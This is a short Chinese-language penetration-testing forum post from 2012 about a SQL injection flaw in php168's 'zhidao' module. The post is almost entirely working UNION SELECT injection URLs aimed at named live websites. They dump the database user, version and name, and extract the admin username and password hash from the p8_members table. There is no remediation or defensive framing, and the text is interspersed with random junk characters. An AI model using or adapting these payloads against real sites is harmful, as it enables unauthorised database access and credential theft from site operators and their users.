中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--& a" ^+ J2 k9 ^3 r: M0 n

4 p2 b+ I* J$ W. s                                     [attach]94[/attach]
  |- p5 S; N2 W, F! U1 L7 W/ A3 Q/ Q6 Z, Q6 V. S& e
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--! {! c, k! |7 p- h

& L0 V" e) W5 M- H1 @/ s! O, K                                                                9 |% o7 _$ s5 a
                                                      [attach]95[/attach]* v0 k. B  ~% Z* J0 m" s$ v
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
" A3 m+ C+ N% l. f) H- |  p9 i9 e4 T& l% `

4 f& W) J$ Q1 o
# S% b1 o  J9 z5 @                                                          [attach]96[/attach]
  P3 T9 P2 b, j* c
- ]* l' u  k* ~; ~http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
( \) G2 S. E3 Q: E9 o1 t+ F* A# |& J- L4 M
, \% ]( m- A+ I( y4 ^9 `
" ^. g/ a" w1 d
                                                                  [attach]97[/attach]
* g/ ^3 b( `" w- j4 X6 F

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)